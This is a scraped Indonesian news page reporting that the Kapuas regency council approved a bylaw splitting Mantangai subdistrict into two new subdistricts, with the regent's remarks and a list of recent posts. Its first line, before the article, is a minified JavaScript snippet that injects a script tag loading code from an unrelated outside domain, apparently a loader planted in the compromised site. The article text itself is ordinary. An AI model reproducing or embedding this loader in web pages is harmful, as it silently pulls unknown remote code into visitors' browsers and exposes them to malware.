(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Hadiri Rapat Paripurna Penyampaian Raperda Pemekaran Kecamatan Mantangai, Ini Kata Bupati Wiyatno


KANALKALIMANTAN.COM.KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyetujui Rancangan Peraturan Daerah (Raperda) tentang pemekaran Kecamatan Mantangai dan pembentukan dua kecamatan baru yakni Kecamatan Muroi Mangkutup Jaya dan Kecamatan Lamunti Raya ditetapkan menjadi Peraturan Daerah (Perda).

Bupati Kapuas H Muhammad Wiyatno mengatakan bahwa pemekaran wilayah merupakan salah satu langkah strategis pemerintah daerah dalam meningkatkan pelayanan publik kepada masyarakat.

Baca juga: Wali Kota Lisa Halaby Pimpin Rapat Koordinasi, Samakan Visi Misi Banjarbaru EMAS

“Dengan adanya pemekaran wilayah, kami berharap masyarakat dapat merasakan pelayanan yang lebih dekat, cepat, dan sesuai harapan,” kata Bupati Wiyatno dalam sambutan pada rapat paripurna ke-13 masa persidangan II tahun Sidang 2025, Selasa (1/7/2025) siang.

Bupati Wiyatno menambahkan, pemekaran wilayah tidak hanya bertujuan memperpendek rentang kendali pemerintahan, tetapi juga untuk mempercepat pelaksanaan pembangunan dan meningkatkan kesejahteraan masyarakat.

Baca juga: Operasi Tera Ulang Timbangan Diskuperindag HSU Menyasar 31 Pasar Tradisional

“Jadi, pembentukan dua kecamatan baru ini diharapkan membawa dampak positif bagi kelancaran pelayanan, terutama bagi desa-desa yang sebelumnya berada di bawah Kecamatan Mantangai,” jelasnya.

Saat ini, Kecamatan Mantangai membawahi 38 desa, sehingga pemekaran dianggap penting untuk mengurangi beban kerja dan meningkatkan efektivitas pemerintahan.

Lebih lanjut, Bupati Wiyatno menuturkan bahwa penataan wilayah ini juga diharapkan mampu memberikan kontribusi signifikan terhadap peningkatan Pendapatan Asli Daerah (PAD), serta mendorong pertumbuhan ekonomi dan sosial yang lebih baik di wilayah Kabupaten Kapuas. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

5 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

6 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

8 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

8 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

20 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

23 jam ago

This website uses cookies.